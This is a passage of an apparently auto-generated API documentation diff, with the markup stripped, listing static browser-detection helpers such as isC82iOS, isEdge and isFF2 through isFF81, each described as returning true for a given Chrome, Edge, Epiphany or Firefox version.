+ + + + + + +
+

Returns true if Chrome for iOS 81.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC82()

+ + + + + + +
+

Returns true if Chrome 82.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC82iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 82.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC83()

+ + + + + + +
+

Returns true if Chrome 83.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC83iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 83.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC84()

+ + + + + + +
+

Returns true if Chrome 84.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC84iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 84.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC85()

+ + + + + + +
+

Returns true if Chrome 85.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC85iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 85.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC86()

+ + + + + + +
+

Returns true if Chrome 86.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC86iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 86.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC87()

+ + + + + + +
+

Returns true if Chrome 87.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC87iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 87.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC88()

+ + + + + + +
+

Returns true if Chrome 88.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC88iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 88.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC89()

+ + + + + + +
+

Returns true if Chrome 89.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC89iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 89.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC90()

+ + + + + + +
+

Returns true if Chrome 90.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC90iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 90.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC91()

+ + + + + + +
+

Returns true if Chrome 91.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC91iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 91.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC92()

+ + + + + + +
+

Returns true if Chrome 92.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC92iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 92.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC93()

+ + + + + + +
+

Returns true if Chrome 93.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC93iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 93.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC94()

+ + + + + + +
+

Returns true if Chrome 94.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC94iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 94.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC95()

+ + + + + + +
+

Returns true if Chrome 95.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC95iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 95.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC96()

+ + + + + + +
+

Returns true if Chrome 96.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC96iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 96.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC97()

+ + + + + + +
+

Returns true if Chrome 97.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC97iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 97.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC98()

+ + + + + + +
+

Returns true if Chrome 98.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC98iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 98.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC99()

+ + + + + + +
+

Returns true if Chrome 99.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC99iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 99.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isEdge()

+ + + + + + +
+

Returns true if Edge.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isEpi()

+ + + + + + +
+

Return true if Epiphany

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF()

+ + + + + + +
+

Returns true if FF.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF2()

+ + + + + + +
+

Returns true if FF2.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF3()

+ + + + + + +
+

Returns true if FF3.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF3_5()

+ + + + + + +
+

Returns true if FF3.5.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF3_6()

+ + + + + + +
+

Returns true if FF3.6.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF4()

+ + + + + + +
+

Returns true if FF4.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF5()

+ + + + + + +
+

Returns true if FF5.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF6()

+ + + + + + +
+

Returns true if FF6.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF7()

+ + + + + + +
+

Returns true if FF7.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF8()

+ + + + + + +
+

Returns true if FF8.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF9()

+ + + + + + +
+

Returns true if FF9.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF10()

+ + + + + + +
+

Returns true if FF10.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF11()

+ + + + + + +
+

Returns true if FF11.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF12()

+ + + + + + +
+

Returns true if FF12

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF13()

+ + + + + + +
+

Returns true if FF13

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF14()

+ + + + + + +
+

Returns true if FF14

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF15()

+ + + + + + +
+

Returns true if FF15

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF16()

+ + + + + + +
+

Returns true if FF16

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF17()

+ + + + + + +
+

Returns true if FF17

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF18()

+ + + + + + +
+

Returns true if FF18

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF19()

+ + + + + + +
+

Returns true if FF19

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF20()

+ + + + + + +
+

Returns true if FF20

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF21()

+ + + + + + +
+

Returns true if FF21

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF22()

+ + + + + + +
+

Returns true if FF22

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF23()

+ + + + + + +
+

Returns true if FF23

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF24()

+ + + + + + +
+

Returns true if FF24

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF25()

+ + + + + + +
+

Returns true if FF25

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF26()

+ + + + + + +
+

Returns true if FF26

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF27()

+ + + + + + +
+

Returns true if FF27

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF28()

+ + + + + + +
+

Returns true if FF28

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF29()

+ + + + + + +
+

Returns true if FF29

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF30()

+ + + + + + +
+

Returns true if FF30

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF31()

+ + + + + + +
+

Returns true if FF31

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF32()

+ + + + + + +
+

Returns true if FF32

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF33()

+ + + + + + +
+

Returns true if FF33

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF34()

+ + + + + + +
+

Returns true if FF34

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF35()

+ + + + + + +
+

Returns true if FF35

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF36()

+ + + + + + +
+

Returns true if FF36

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF37()

+ + + + + + +
+

Returns true if FF37

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF38()

+ + + + + + +
+

Returns true if FF38

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF39()

+ + + + + + +
+

Returns true if FF39

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF40()

+ + + + + + +
+

Returns true if FF40

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF41()

+ + + + + + +
+

Returns true if FF41

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF42()

+ + + + + + +
+

Returns true if FF42

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF43()

+ + + + + + +
+

Returns true if FF43

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF44()

+ + + + + + +
+

Returns true if FF44

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF45()

+ + + + + + +
+

Returns true if FF45

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF46()

+ + + + + + +
+

Returns true if FF46

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF47()

+ + + + + + +
+

Returns true if FF47

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF48()

+ + + + + + +
+

Returns true if FF48

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF49()

+ + + + + + +
+

Returns true if FF49

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF50()

+ + + + + + +
+

Returns true if FF50

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF51()

+ + + + + + +
+

Returns true if FF51

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF52()

+ + + + + + +
+

Returns true if FF52

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF53()

+ + + + + + +
+

Returns true if FF53

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF54()

+ + + + + + +
+

Returns true if FF54

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF55()

+ + + + + + +
+

Returns true if FF55

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF56()

+ + + + + + +
+

Returns true if FF56

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF57()

+ + + + + + +
+

Returns true if FF57

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF58()

+ + + + + + +
+

Returns true if FF58

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF59()

+ + + + + + +
+

Returns true if FF59

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF60()

+ + + + + + +
+

Returns true if FF60

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF61()

+ + + + + + +
+

Returns true if FF61

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF62()

+ + + + + + +
+

Returns true if FF62

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF63()

+ + + + + + +
+

Returns true if FF63

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF64()

+ + + + + + +
+

Returns true if FF64

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF65()

+ + + + + + +
+

Returns true if FF65

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF66()

+ + + + + + +
+

Returns true if FF66

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF67()

+ + + + + + +
+

Returns true if FF67

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF68()

+ + + + + + +
+

Returns true if FF68

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF69()

+ + + + + + +
+

Returns true if FF69

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF70()

+ + + + + + +
+

Returns true if FF70

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF71()

+ + + + + + +
+

Returns true if FF71

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF72()

+ + + + + + +
+

Returns true if FF72

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF73()

+ + + + + + +
+

Returns true if FF73

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF74()

+ + + + + + +
+

Returns true if FF74

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF75()

+ + + + + + +
+

Returns true if FF75

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF76()

+ + + + + + +
+

Returns true if FF76

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF77()

+ + + + + + +
+

Returns true if FF77

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF78()

+ + + + + + +
+

Returns true if FF78

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF79()

+ + + + + + +
+

Returns true if FF79

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF80()

+ + + + + + +
+

Returns true if FF80

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF81()

+ + + + + + +
+

Returns true if FF81

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
